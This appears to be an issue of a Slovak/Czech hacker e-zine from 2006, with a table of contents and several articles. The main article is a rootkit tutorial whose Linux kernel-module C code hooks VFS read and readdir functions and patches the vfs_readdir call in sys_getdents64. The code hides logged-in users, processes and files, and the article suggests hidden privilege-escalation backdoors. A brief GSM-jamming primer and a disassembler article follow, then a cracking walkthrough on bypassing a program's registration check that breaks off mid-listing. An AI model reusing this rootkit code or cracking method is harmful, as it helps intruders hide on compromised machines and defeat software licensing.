::::::::::. :::::::.. :::.,:::::: ::: ... . : `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;; `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[, $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$ 888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM prielom #24, 28.03.2006, prielom*hysteria*sk, http://hysteria.sk/prielom/
intro
rootkity zalozene na hookovani vfs
electronic radio attacks
disassembler, doma, jednoducho a rychlo
cracking a ine kratochvile
bastlime si hadware keylogger
cisco control plane protection
kvalita webhostingu u nas… aneb curl [klapka] podruhe
board
a je tu zasa novy prielom a mna caka tazka uloha vymysliet nejaky zaujimavy uvodnik, takze ti ktorym sa to nechce citat to rovno preskocte, lebo to bude nuda. taaaakze co mame nove – pribudol nam dalsi server (sunfire v20z, presne taky s akymi sa hram v praci), konala sa dalsia sessna (s vystupom na snezku), mame par novych adminov (cest a slava im za dobru pracu, budte naveky pozehnani), konecne sa zacali fixovat aj bugy na kyberke, celkovo sa to vsetko nejak rozbehlo.. a medziinym tu mame jar, priroda zasa oziva, takze je nacase zavriet notebooky a vyliezt von do prirody, uzit si trocha cerstveho vzduchu.. dalej by som chcel vyzvat citatelov, ktori by chceli prispiet clankami do prielomu (alebo inak sa podielat na aktivitach hysterky), aby sa nebali ozvat, prave nedostatok clankov bol dovodom, preco tento prielom vznikal tak dlho, a to kedy vyjde dalsie cislo je prave na vas..
sven*hysteria*sk
navrat na obsah
co ty na to ? board
Rootkity zalozene na hookovani vfs
struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*aio_read) (struct kiocb *, char __user *, size_t, loff_t); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*aio_write) (struct kiocb *, const char __user *, size_t, loff_t); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, struct poll_table_struct *); ...Napriklad pri cteni ze souboru se spusti funkce read (tedy funkce, na kterou ukazuje ukazatel, ze struktury file_operations patrici k prislusnemu souboru).
#includeMuzeme tedy snadno prepsat jakykoli ukazatel ze struktury f_op. Mezi zajimave ukazatele muze patrit read, write nebo treba readdir. Ten ukazuje na funkci, ktera se vola pri pozadavku o vypis adresarove struktury. Jeho drobnou upravou muzeme tedy skryt libovolny soubor nebo proces..... int init_module() { struct file *f; /* ziskame strukturu file odpovidajici pozadovanemu souboru */ f = filp_open("nazev.souboru", O_RDONLY, 0600); /* par kontrol.. */ if (!IS_ERR(f)) { if (f && f->f_op) /* a tady ho mame f->f_op->read */ printk("<7>Ukazatel na funkci read: 0x%xn", f->f_op->read); filp_close(f, NULL); } }
Princip
Princip hookovani je v podstate stejny jako u systemovych volani.
– ulozime puvodni ukazatel
– nahradime ho ukazatelem na upravenou funkci
– pri odpojeni modulu dame vse do puvodniho stavu
nejak takhle:
#includeA v cem uprava puvodni funkce spociva? Zalezi samozrejme na pouziti. Vetsinou jde o zavolani puvodni funkce a upraveni vysledku. Muzeme si to ukazat treba opet na read. Podivejme se jeste jednou, jak vypada prototyp funkce, na kterou ukazuje read:ssize_t (*old_read) (struct file *, char __user *, size_t, loff_t *); ... int init_module() { struct file *f; f = filp_open("nazev.souboru", O_RDONLY, 0600); if (!IS_ERR(f)) { if (f && f->f_op) old_read = f->f_op->read; f->f_op->read = new_read; filp_close(f, NULL); } } void cleanup_module() { struct file *f; f = filp_open("nazev.souboru", O_RDONLY, 0600); if (!IS_ERR(f)) { if (f && f->f_op) f->f_op->read = old_read; filp_close(f, NULL); } }
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);Vidime, ze hned prvni parametr nam ukazuje na strukturu file, ktera samozrejme nese informace o souboru, ze ktereho se prave cte. To nam poslouzi k zistkani ruznych informaci o souboru, ktere potrebujeme pro rozhodnuti, co ve ctenych datech zmenime a co ne. Dalsi parametr ukazuje na pamet, v niz jsou (budou) ulozena prectena data. Treti parametr udava delku teto pameti.
Ukazme si tedy, jak treba skryt zaznam o uzivateli ve vypisu programu jako w nebo who. Kazdy vi, ze tyto programy ctou informace ze souboru /var/run/utmp, ktery obsahje pekne za sebou naskladane struktury utmp (viz. man utmp). A mame stesti (no stesti, ono je to celkem logicke…), ze programy w a who z tohoto souboru prectou najednou celou tuto strukturu. Funkce read tedy do pameti (na jejiz zacatek ukazuje druhy parametr) ulozi prave tuto strukturu utmp a pak poslusne vrati pocet prectenych bajtu.
Takze co dal:
– nechame puvodni read (ukazatel na ni si pred hooknutim ulozime) precist spravna data
– precteny buffer si pretypujeme na struct utmp, takze muzeme primo pristupovat k jejim
polozkam
– zkontrolujeme jestli buf->ut_user obsahuje username, ktere chceme skryt a pokud ano,
vratime 0, coz znamena, ze se nic neprecetlo. Pro jistotu muzeme cely buffer vynulovat.
Primitivni, ale ucinne;) hooknuta funkce tedy vypada takhle, aneb totez zapsane v C:
ssize_t new_read(struct file *f, char *buf, size_t count, loff_t *ppos) { #define filename (f->f_dentry->d_name.name) /* provedeme puvodni read, ulozime si navratovou hodnotu */ ssize_t res = old_read(f, buf, count, ppos); if (!strcmp(filename, "utmp")) { struct utmp *utmp_entry = (struct utmp *) buf; if (utmp_entry && !strcmp(utmp_entry->ut_user, HIDDEN_USERNAME)) { memset(utmp_entry, 0, sizeof(struct utmp)); return 0; } } return res; }
Velmi jednoduche ze? Nemusime se ani trapit tim, ze parametry funkce ukazuji do userspace jako u syscallu, protoze tyhle funkce uz nejsou na rozhrani user a kernelspace, takze vsechny ukazatele, ktere jdou do nich i z nich ukazuji do kernelspace.
Princip je doufam jasny, tak se jeste v rychlosti mrknem na to, jak skryt treba nejaky proces nebo soubor. Jak jsem se asi uz zminil, pro ziskani obsahu adresarove struktury slouzi readdir. Pro skryti procesu to vyuzijeme taky, protoze ps pro ziskani seznamu bezicich procesu stejne vyuziva /proc. Takze staci skryt dany adresar v /proc a hotovo..
Tak zkusme na to jit stejne. Jak vypada to readdir:
int (*readdir) (struct file *, void *, filldir_t);Ano, samozrejme prvni parametr obsahuje opet strukuru file, ktera popisuje adresar, z nejz se cte, druhy parametr opet pamet, kam se prectena data ulozi a treti parametr je ukazatel na funkci filldir, ktera se stara o zjistovani potrebnych informaci. Tahle funkce dostava soubor po souboru a pokud nic neudela a vrati, ze vse probehlo v poradku, nebude o danem souboru nikde dal ani zminka. Takze je dobry napad upravit prave tuhle funkci. Ale nejdriv je treba zaridit, aby readdir upravenou funkci pouzivala, takze musi dostat jako treti parametr prave ukazatel na nasi readdir.
To udelame snadno. Proste ji hookneme a v ni zavolame tu puvodni s parametry, jake si rekneme.
filldir_t real_filldir; .... int new_readdir_proc (struct file *a, void *b, filldir_t c) { real_filldir = c; return old_readdir_proc (a, b, new_filldir); }A ted se muzeme pustit do psani new_filldir. Ta tedy pouze overi, zda soubor, ktery zrovna zpracovava je treba skryt. Pokud usoudi, ze ano, vrati 0. Jinak provede puvodni funkci. To je vsechno. Opet velmi jednoduche. Takze tady je ukazka, jak skryvat procesy (samozrejme musime hooknout readdir pro /proc).
static int new_filldir(void * __buf, const char * name, int namlen, loff_t offset, ino_t ino, unsigned int d_type) { int pid; struct task_struct *task; char buf[256] = {0}; /* do buf ulozime nazev aktualne zpracovavaneho souboru */ memcpy(buf, name, namlen); pid = my_atoi(buf); /* makro se muze jmenovat i for_each_process, v zavislosti na verzi jadra; najdete ho definovane v linux/sched.h */ for_each_task(task) if (task->uid == HIDDEN_UID && task->pid == pid) return 0; /* zavolame puvodni funkci */ return real_filldir (__buf, name, namlen, offset, ino, d_type); }V podstate stejnym zpusobem muzeme hooknout readdir pro / a pak treba overit koncovku souboru a podle toho bud skryt nebo ne.. V pripade skryvani souboru tu je jedna nevyhoda. Pokud treba skryvame soubory podle koncovky a provedeme hook pro /, budou skryty pouze soubory s danou koncovkou, ktere lezi na stejnem filesystemu jako ma korenovy adresar. Bud se da udelat hook pro vsechny filesystemy, ktere prichazi do uvahy, nebo hooknout funkci, ktera lezi jeste pred tim, nez se preda rizeni te konkrentni funkci zavisle na filesystemu. O tom si neco rekneme o kousek niz. Pak mame jeste jednu moznost — proste to ignorovat. Uzivatel rootkitu si vetsinou sve hracky stejne da do jednoho adresare, ktery skryje. Pak se ruznyma filesystemama zabyvat nemusi..
Doufam, ze z toho, co jsem popsal je princip jasny. O neco polopatictejsi vysvetleni najdete v sekci papers na mojem webu. Popisovana technika neni zavisla na verzi jadra a zatim se nejak moc nepouziva. Snad jedinym volne dostupnym rootkitem, ktery podobne techniky vyuziva je Adore NG. Nejake priklady najdete zase nekde na mojem webu..
Trochu jiny zpusob…
Ted si ukazeme jiny, na filesystemu nezavisly zpusob, jak skryt soubor. Ne, ze by to
bylo az tak extremne uzitecne samo o sobe (vetsinou postaci predchozi a mnohem jednodussi
technika), ale ukazu na tom neco, co se muze hodit i pri jinych vecech. Treba pri programovani
VELMI spatne odhalitenych backdooru, nebo jen tak pro zabavu.. 🙂 Puvodne jsem to ani nechtel
popisovat, ale Sven rekl, ze to klidne muze byt delsi, takze proc ne..
U predchozi techniky jsme pouzivali upravenou funkci readdir, ktera pouze volala puvodni, jen s jinym parametrem. Je to nutne? Co takhle zavolat puvodni readdir rovnou. Pak by se volala jen ta readdir, ktera je vhodna pro dany filesystem, ale nas hook by fungoval porad.
Podivejme se, co se vlastne pri spusteni ls deje. Ve vypisu programu strace zjistime, ze se pouziva systemove volani getdents64. Mrknem do zdrojaku jadra (fs/readdir.c) na tuhle funkci. Vidime, ze ta zas vola nejakou vfs_readdir:
int vfs_readdir(struct file *file, filldir_t filler, void *buf);Uz tahle funkce dostane jako parametr ukazatel na funkci filldir. Podivejme se jeste co, dela vfs_readdir:
int vfs_readdir(struct file *file, filldir_t filler, void *buf) { struct inode *inode = file->f_dentry->d_inode; int res = -ENOTDIR; if (!file->f_op || !file->f_op->readdir) goto out; res = security_file_permission(file, MAY_READ); if (res) goto out; down(&inode->i_sem); res = -ENOENT; if (!IS_DEADDIR(inode)) { res = file->f_op->readdir(file, buf, filler); } up(&inode->i_sem); out: return res; }Nic prevratneho.. zkontroluje prava, dekrementuje semafor, zavola spravnou funkci readdir pro dany filesystem, inkrementuje semafor a zkonci. Samozrejme nas zajima, ze parametr filler preda nezmeneny puvodni readdir. Takze kdyby se nam podarilo hooknout vfs_readdir tak, aby zavolala vfs_readdir se zmenenym parametrem filler, udelame v podstate totez co u predchoziho pripadu, ale mame to nezavisle na souborovem systemu.
A prave tady cela zabava zacina! Shrnme si, co potrebujeme pohackovat:
– musime donutit getdents64, aby skocil do nasi vfs_readdir, namisto te puvodni
– pripravit si novou vfs_readdir
– pripravit si novou funkci filldir
To cele bude sranda, az na prvni bod. To muze byt trochu narocnejsi, hlavne kdyz chceme, aby to behalo i na jinem systemu, nez na tom nasem..
Hooknuti vfs_readdir
K hooku vfs_readdir si pripravime nuzky, lepidlo, debugger, zdrojove kody jadra a silny zaludek,
bo to je pekna prasarna. Pokud mate vse po ruce (az na ten zaludek;), muzeme zacit. Nejprve
rozpitvame soubor $KERNEL_SRC/fs/readdir.c.
Jak vypada sys_getdents64 ? Kvuli uspore elektronickeho papiru se podivejte sami, uvidite,
ze nekde uprostred je volani fce vfs_readdir. Urcite musime najit presnou adresu jejiho
volani. Adresu getdents64 zjistime snadno, je to adresa asi na 220te pozici v sys_call_table.
Jeste najit, jak daleko od jejiho zacatku je to volani. No, to nebude az tak tezke.. ale
pro jistotu nastartuje debugger, at se na to podivame zblizka…
% cd /usr/src/linux % gdb vmlinux GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)... (gdb) disas sys_getdents64 Dump of assembler code for function sys_getdents64: 0xc0168b60 <sys_getdents64>: sub $0x2c,%esp 0xc0168b63 <sys_getdents64+3>: mov $0xffffe000,%eax 0xc0168b68 <sys_getdents64+8>: mov %ebx,0x1c(%esp,1) 0xc0168b6c <sys_getdents64+12>: mov 0x34(%esp,1),%ebx 0xc0168b70 <sys_getdents64+16>: mov %edi,0x24(%esp,1) 0xc0168b74 <sys_getdents64+20>: mov $0xfffffff2,%edi 0xc0168b79 <sys_getdents64+25>: mov %ebx,%edx 0xc0168b7b <sys_getdents64+27>: mov %ebp,0x28(%esp,1) 0xc0168b7f <sys_getdents64+31>: mov 0x38(%esp,1),%ebp 0xc0168b83 <sys_getdents64+35>: and %esp,%eax 0xc0168b85 <sys_getdents64+37>: mov %esi,0x20(%esp,1) 0xc0168b89 <sys_getdents64+41>: add %ebp,%edx 0xc0168b8b <sys_getdents64+43>: sbb %ecx,%ecx 0xc0168b8d <sys_getdents64+45>: cmp %edx,0x18(%eax) 0xc0168b90 <sys_getdents64+48>: sbb $0x0,%ecx 0xc0168b93 <sys_getdents64+51>: test %ecx,%ecx 0xc0168b95 <sys_getdents64+53>: jne 0xc0168c0d <sys_getdents64+173> 0xc0168b97 <sys_getdents64+55>: mov 0x30(%esp,1),%eax 0xc0168b9b <sys_getdents64+59>: mov $0xfffffff7,%edi 0xc0168ba0 <sys_getdents64+64>: call 0xc0156180 <fget> 0xc0168ba5 <sys_getdents64+69>: test %eax,%eax 0xc0168ba7 <sys_getdents64+71>: mov %eax,%esi 0xc0168ba9 <sys_getdents64+73>: je 0xc0168c0d <sys_getdents64+173> 0xc0168bab <sys_getdents64+75>: mov %ebx,0xc(%esp,1) 0xc0168baf <sys_getdents64+79>: lea 0xc(%esp,1),%eax 0xc0168bb3 <sys_getdents64+83>: movl $0x0,0x10(%esp,1) 0xc0168bbb <sys_getdents64+91>: mov %ebp,0x14(%esp,1) 0xc0168bbf <sys_getdents64+95>: movl $0x0,0x18(%esp,1) 0xc0168bc7 <sys_getdents64+103>: mov %eax,0x8(%esp,1) 0xc0168bcb <sys_getdents64+107>: movl $0xc0168a10,0x4(%esp,1) 0xc0168bd3 <sys_getdents64+115>: mov %esi,(%esp,1) 0xc0168bd6 <sys_getdents64+118>: call 0xc0168610 <vfs_readdir> 0xc0168bdb <sys_getdents64+123>: test %eax,%eax 0xc0168bdd <sys_getdents64+125>: mov %eax,%edi 0xc0168bdf <sys_getdents64+127>: js 0xc0168c06 <sys_getdents64+166>Vidime, ze prvni instrukce call, je volani fget a druha call je 118 bajtu od zacatku sys_getdents64 a je to prave volani vfs_readdir. Co presne je na teto pozici ulozeno?
(gdb) x sys_getdents64+118 0xc0168bd6 <sys_getdents64+118>: 0xfffa35e8Protoze jde o little-endian architekturu, bajty jsou v pameti opacne. Ve skutecnosti tam jsou asi takto:
(gdb) x/5b sys_getdents64+118 0xc0168bd6 <sys_getdents64+118>: 0xe8 0x35 0xfa 0xff 0xffPohlem do intelovske dokumentace zjistime, ze 0xe8 je operacni kod instrukce call a za nim nasleduje 4bajtova relativni adresa. Relativni adresa je tedy 0xfffffa35. Absolutni adresa volane funkce je soucet tohoto parametru s adresou nasledujici instrukce.
Pro spolehlive vyhledani spravneho callu vyuzijeme toho, ze absolutni adresu vfs_readdir zname (pokud tedy vyuzivame LKM). Takze algoritmus je nasledujici:
– najdeme adresu pocatku sys_getdents64
– nacteme dostatecne velky kus kodu teto funkce (150 B staci urcite..)
– v tomto bufferu vyhledavame volani call (tedy znam 0xe8)
– u kazdeho nalezeneho volani si parametr prepocitame na absolutni adresu
– tu pak porovname s vfs_readdir
A mame presnou lokaci daneho volani. Predpokladam, ze ani nemusim rikat, co s tim. Ale pro jistotu.. absolutni adresu nasi upravene vfs_readdir prepocitame na relativni vzhledem k nasledujici instrukci a prepiseme ji 4 bajty, ktere nasleduji za danym callem (tedy za operacnim kodem teto instrukce). Tim samozrejme dosahneme toho, ze getdents64 vola neco jineho nez by normalne mela.. Funkce pro vyhledani volani by mohla vypadat nejak takhle:
/* prvni parametr je adresa getdents64, * pres druhy parametr funkce vraci adresu, kde se relativni adresa nachazi * pres posledni parametr funkce vraci puvodni parametr instrukce call * * funkce vraci promennou addr_add, coz je to, co se musi pricist k relativni adrese, * abychom dostali absolutni. Jinymi slovy * paremetr instrukce call = absolutní adresa - addr_add */ unsigned get_vfs_readdir(unsigned int syscalladdr, unsigned int *location, unsigned int *orig) { #define BUFFLEN 170; char buf[BUFFLEN], *p; unsigned int addr = syscalladdr; unsigned vr_addr, offset = -1; unsigned int addr_add; /* call instruction */ char pattern[] = "xe8"; int patlen = 1; int addr_inc = 1; if (addr == 0) return 0; memcpy(buf, (void *)addr, BUFFLEN); do { p = (char*)memmem(buf + offset + 1, BUFFLEN, pattern, patlen); offset = (unsigned)p - (unsigned)buf; addr = syscalladdr + offset + addr_inc; * memcpy(&vr_addr, (void *)addr, sizeof(vr_addr)); *orig = vr_addr; } while ((unsigned)(addr + 4 + vr_addr) != (unsigned)vfs_readdir && p != NULL); if (p == NULL) return 0; addr_add = addr + 4; /* address of vfs_readdir is vr_addr+addr_add */ return addr_add; }Hooknout vfs_readdir bysme uz meli byt schopni. Vime presnou adresu jeho volani. Tam (tedy o bajt dal) zapiseme relativni adresu new_vfs_readdir. Nesmime ji zapomenout prepocitat na relativni, protoze zname pouze absolutni adresu. Upravena vfs_readdir je trivialni:
filldir_t real_filler; ... int new_vfs_readdir(struct file *file, filldir_t filler, void *buf) { real_filler = filler; return vfs_readdir(file, new_filldir, buf); }Nakonec zbyva napsat new_filldir, ale ta je stejna jako u predchozi techniky.. Podobnym zpusobem muzeme upravit nejen systemova volani, ale ruzne funkce v kernelu a da se do nich ulozit napr. backdoor na zvyseni prav. A nikdo na to neprijde, pokud nenajde modul, kterym jsme zmeny provedli. Kdyby se tohle spachalo zapsanim primo do /dev/kmem, je to opravdu velmi spatne odhalitelne….
A to by pro dnesek bylo vsechno, aspon co se tohohle clanku tyce..
Pozn. autora: tenhle clanek jsem psal nekdy v dobe vyjiti minuleho prielomu, takze uz to bude vic nez rok, takze to nemusi byt uplne koser, tak me nekamenujte.. 😉
trace at dump.cz
navrat na obsah
co ty na to ? board
…alebo radiove rusenie v systeme GSM
jamming
mobilne siete GSM pracuju v pasmach UHF, v zastavanych mestach kde su prekazky ako velke a vysoke budovy, husto na sebe vznika nezanedbatelny utlm, nakolko BTS pouzivaju vsesmerove alebo sektorove anteny so sirokymi vyzarovacimi uhlami aby pokryli co najvacsiu plochu, toto vsetko prispieva k tomu, ze pasmo UHF nie je odolne voci radiovemu ruseniu a moze byt relativne jednoducho zarusene.
rusenie je vytvarane vysielanim radioveho signalu na rovnakej frekvencii smerom k prijimacu, ktory chceme rusit. cize dalo by sa povedat ze rusiaci signal sa pomiesa s povodnym alebo ho uplne ‘prevalcuje’ a prijimac nie je schopny spolahlivo prijimat povodny signal. je dolezite spomenut, ze moze byt ruseny iba prijimac, nikdy nie vysielac samotny (cize rusenie znemoznuje prijem), ak by sme chceli zrusit vysielac, da sa aj to ale jedine fyzickou destrukciou, odpojenim napajania alebo pouzitim tzv. High Power Microwave weapons, ktore su schopne znefunkcnit elektroniku (ale o tom inokedy 🙂 ). podstatny vlyv na pokles urovne signalu maju aj vzdialenosti, ak napriklad zdvojnasobime vzdialenost medzi rusickou (jammer) a prijimacom (receiver) tak musime zvysit vykon jammer-a stvornasobne! aby sme dosiahli ten isty rusiaci efekt.
rusenie je uspesne vtedy ak vysielanie rusiaceho signalu znemozni prijem povodneho, v digitalnej komunikacii je to vtedy ak je chybovost (error rate) vacsia ako su schopne opravit prijimace pouzitim error correction algoritmov. vela digitalnych komunikacnych systemov pouziva vysielanie synchronizacnych signalov medzi komunikujucimi zariadeniami. ak sa zameriame na tento signal, obvykle to byva velmi efektivne a elegantne to zrusi vsetku ostatnu komunikaciu, tym padom jammer moze prestat vysielat a zacat znovu rusit az po resynchronizacii, tak sa stava tazsie odhalitelnym. jediny problem je, ze z pohladu jammera sa tazko zistuje stav, ci a kedy rusene zariadenia stratili synchronizaciu.
v GSM sieti sa o radiove(komunikacne) prostriedky stara Base Station Subsystem (BSS) ako aj Base Tranceiver Station (BTS), aktualny vf vysielac, BSS sa sklada z casti:
Air-interface pouziva na komunikaciu s mobilom dve odlisne multiplexove techniky a to
no sice som to zacal ale zistujem, ze teoria fungovania GSM by bola na dlho a nechce sa mi to uz pisat, takze si to nastudujte napr. tu 🙂
jamming GSM
by unknown, unknown (at) hysteria.sk..
navrat na obsah
co ty na to ? board
Disassembler, doma, jednoducho a rychlo.
55 89 e5 81 c4 00 05 00 00 81 e4 f0 ff ff ff 8d 9d 00 fb ff ff b8 7a 00 00 00 cd 80Assembler …
push ebp mov ebp, esp add esp, 0500h and esp, 0fffffff0h lea ebx, [ebp + 0ffffb00h] mov eax, 07ah int 080h… rec procesorov.
Uz dlhsiu dobu mam na disku jeden nie sice uplne dokonceny, ale dufam zaujimavy projekt. Asi pred dvomi rokmi zacal kamarat pracovat na vlastnom projekte. Jednalo sa o nizkourovnovy nastroj do windows a jeho sucastou mala byt aj kompomenta ukazujuca disassemblovanu cast pamati. Denne pracujem s assemblerom v zamestnani a zo zvedavosti som mu ponukol pomoc.
Aby sme mohli dalej pokracovat, mohli by sme si objasnit niekolko zakladnych pojmov ohladom formatu instrukcii. Nasledujuca cast je opisana z Intel manualu a kto to uz pozna, moze kludne preskocit dalej.
Vsetky instrukcie architektury IA-32 su podmnozunou vseobecneho zapisu instrukcie ukazanej dole nizssie.
___________________________________________________________________ | Prefix | Opcode | ModR/M | SIB | Address Displacement | Immediate | | | | | | | | -------------------------------------------------------------------1. Prefix
1.1 Lock a Repeat
Lock – Procesor zatiahne za signal LOCK#. Vo viac procesorovom systeme si
takto procesor vyhradi exkluzivny pristup k zdielanym prostriedkom s inymi
procesormi.
Repne/Repnz/Rep/Repe/Repz – Opakuje niekolko krat string instrukciu pokial nie je splnena pozadovana podmienka (napr. konkretny pocet iteracii v registri CX/ECX alebo je/nie je nastaveny zero flag).
1.2 Segment override CS, SS, DS, ES, FS, GS – Povedia procesoru v ktorom segmente maju spracovat data na ktore sa instrukcia odkazuje.
Branch hints – Pomahaju procesoru predpovedat pravdepodobny vysledok podmieneneho skoku.
1.3 Operand-size override prefix
Pomaha programu prepinat medzi operandami s velkostou 16 a 32 bitov. Obe
velkosti sa mozu nastavit ako standartne. Operand sposobi prepnutie do tej
druhej velkosti.
1.4 Address-size override prefix
To iste, co 1.3
Kazda instrukcia moze obsahovat jeden prefix z jednej skupiny (vacsina kompilatorov to ale veselo ignoruje) a mozu sa miesat v lubovolnom poradi.
2. Opcode
Opcode moze byt 1 az 3 bajty dlhy. Niekedy sa za cast instrukcie povazuju aj
3bity z ModR/M.
3. ModR/M a SIB
Vacsina instrukcii pristupuje priamo k pamati a na jej adresaciu vyuzivaju
adresny bajt ModR/M. ModR/M Obsahuje tri dalsie bitove polia (mod, reg/opcode,
r/m). Ich vzajomna kombinacia dava dohromady adresu, na ktoru sa instrukcia
odkazuje.
Niekedy je vsak potreba zlozitejsiej adresacie a na to sa vyuziva druhy adresny bajt SIB. Ten sa podobne ako ModR/M sklada z niekolkych bitovych poli (scale, index a base). SIB sa pouziva len pri 32 bitovej adresacii.
4. Displacement a Immediate
Nikedy instrukcia pouziva priamu adresaciu pamate. Casto krat sa k tomu
vyuziva ciselna konstanta. Prave tieto dve casti instrukcie sluzia na ulozenie
takychto konstant. Mozu byt 1 az 4 bajty dlhe.
Tak, to bol prehlad formatu instrukcie z rychlika.
Kamarat na svoj projekt uz pouzival urcite komponenty a musel som sa prisposobit. Jedna z komponent bol disassemblovaci engine ade32 od Zombieho. Pisem engine a nie dissassembler. Jeho vystupom nie je citatelny text ako sme zvyknuti s vacsiny disassemblerov, ale samotna instrukcia rozpitvana na jednotlive kusky (prefix, opcode, ModR/M, …) v lahko modifikovatelnej strukture.
Engine funguje priblizne takto:
Ade32 ma v sebe tabulku instrukcii. Ku kazden instrukcii ma napisane zakladne
informacie (napr. ci obsahuje ModR/M, ci je to instrukcia skoku, ci obsahuje
ciselnu konstantu, ..). Informacie su ulozene v jednorozmenom poli. Ako index
do tabulky sluzi samotny opcode instrukcie.
Ako vstup mu sluzi kus pamate, ktory treba analyzovat.
1.) Najskor skontroluje pritomnost prefixov
2.) Najde opkod instrukcie.
3.) Podla informacii z tabulky a najdenych prefixov dopocita pritomnost a
pripadne velkost immidiate a displacement.
4.) Vsetky zistene informacie naplni do struktury a posle naspat.
Ako som uz spominal, ade32 vracia iba ciselne hodnoty, ktore vacsina smrtelnikov v laske nema, navyse nie vsetky instrukcie, ktore ade32 zdekoduje su spravne (viva inteli zlepsovaky a rozsirenia). Tu prichadza na rad moj engine.
Ten na vstupe zoberie ziskane informacie z ade32 a pokracuje podobnym sposobom.
Tiez obsajuhe informacie o instrukciach. Tie su vsak ineho razu ako v ade32.
Je v nich napriklad meno instrukcie a format ako sa ma instrukcia interpretovat.
1.) Zdekoduje sa prefix.
2.) Zistia informacie o instukcii (meno a format).
3.) Po jednom sa zdekoduju jednotlive operandy.
4.) Zdekodovane informacie sa poslu naspat v citatelnej forme.
Vystupna struktura obsahuje retazec zdekodovanej instrukcie. Tento retazec je rozdeleny na niekolko casti, aby sa dal jednoducho formatovat pri vystupe.
Oba enginy sa pouzivaju velmi jendoducho. Pokial uz mame pripravenu cast pamate, ktoru chceme disassemblovat, posleme na nu najskor ade32.
struct ade32_struct s = {4,4}; // prepare to disasm 32-bit code int length; // instruction length length = ade32_disasm(pindex, &s);‘pindex’ ukazuje do disassemblovanej pamate a ‘s’ je struktura ade32.
Ak je length vacsi ako 0, instrukcia je rozpitvana a mozeme ju prekonvertovat na string:
instr_decode (&s, &name, index + length);‘name’ je struktura v ktorej mame zkonvertovanu instrukciu na string a ‘index’ je hodnota registru EIP. Kombinacia ‘index + length’ urcuje v ktorej casti pamate sa instrukcia nachadza a je potrebna napr. pre dopocitavanie offsetov relativnych skokov.
K clanku prikladam aj zdrojaky k mojmu enginu, k mierne upravenemu ade32 a jednoduchy priklad vyuzitia oboch enginov. Zdrojaky su bez problemov skompilovatelne s gcc 3.x v Linuxe aj pod Window (mingw). S mensimi upravami aj pod M$ VC. Inde som kompilovat neskusal, ale nepredpokladam neriesitelne problemy.
V najblizsej dobre nepredpokladam progres na tomto projekte. Urcite sa v nom
najde, ako v kazdom inom projekte, zopar chyb (raz za cas dostanem od kamarata
avizo, ze nieco nasiel). Pokial nejaku najdete, prosim poslite mi info,
pripadne zlepsenia.
Niekto by mohol naprogramovat nejaky pekny hexa/code viewer s klikacim gui s
obrazkami v GTK/QT pre *nix/Win s podporou spustitelnych formatov ELF, MZ/PE
:).
Pripadne niekto odvaznejsi by mohol pridat podporu pre debug symboly (kamarat
by to urcite ocenil a ja tiez).
To bolo hadam vsetko. Dakujem za pozornost.
emmil (makovy zavinac) dump bodka cz
navrat na obsah
co ty na to ? board
Tools:
PEiD http://www.peid.tk
OllyDbg http://www.ollydbg.de
GODUP a signatury Delphi (odporucam pogooglit, vacsinou sa
taketo veci najdu na nejakych forach, do ktorych treba registraciu.)
Tak pekne po poriadku. Prva vec, ktoru treba pri podobnej pracicke zrobit je zistit, aky kompilator, pripadne packager bol pouzity na danej binarke. PEiD nam nastastie hodilo Borland Delphi 6-7 a ziaden packager, takze az tak vela roboty byt nemusi.
Dalsim krokom je loadnut binarku do OllyDbg, kde je pre lepsie pochopenie kodu vhodne pouzit GODUP so signaturami pre Delphi 7 (to aby sa standardne Delphi funkcie zakompilovane do kodu rozlisili od funkcii samotneho programu).
Spustime programik a vyhodi na nas hlasku, ze nie sme zaregistrovani a vsetky tie keci okolo. Tuto hlasku ignorujeme (nechame bezat free verziu) a nechame si zobrazit hlavne okno, kde vidime nieco v zmysle unregistered system atd. Okrem tejto hlasky je este podobna hlaska v about okne, a ja si ju vyberiem. V OllyDbg mozme software restartovat a zobrazime zoznam stringov (rightclick -> search for -> all referenced text strings). V nom najdeme message z about tabu a cely kod vyzera zhruba takto:
0073D1A8 . E8 E3C3EEFF CALL sl.00629590 0073D1AD . E8 26C4EEFF CALL sl.006295D8 0073D1B2 . 84C0 TEST AL,AL 0073D1B4 . 0F84 89000000 JE sl.0073D243 0073D1BA . E8 D1C3EEFF CALL sl.00629590 0073D1BF . 8B48 0C MOV ECX,DWORD PTR DS:[EAX+C] 0073D1C2 . 8D45 C8 LEA EAX,DWORD PTR SS:[EBP-38] 0073D1C5 . BA 10D37300 MOV EDX,sl.0073D310 ; ASCII "Registered to: " 0073D1CA . E8 8181CCFF CALL sl.00405350 0073D1CF . 8B55 C8 MOV EDX,DWORD PTR SS:[EBP-38] 0073D1D2 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0073D1D5 . 8B80 0C030000 MOV EAX,DWORD PTR DS:[EAX+30C] 0073D1DB . E8 F4F0D3FF CALL <sl.GetBindingkeyDetail (0008: E8) > 0073D1E0 . E8 ABC3EEFF CALL sl.00629590 0073D1E5 . 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10] 0073D1E8 . 8D45 C4 LEA EAX,DWORD PTR SS:[EBP-3C] 0073D1EB . BA 28D37300 MOV EDX,sl.0073D328 ; ASCII "User: " 0073D1F0 . E8 5B81CCFF CALL sl.00405350 0073D1F5 . 8B55 C4 MOV EDX,DWORD PTR SS:[EBP-3C] 0073D1F8 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0073D1FB . 8B80 10030000 MOV EAX,DWORD PTR DS:[EAX+310] 0073D201 . E8 CEF0D3FF CALL 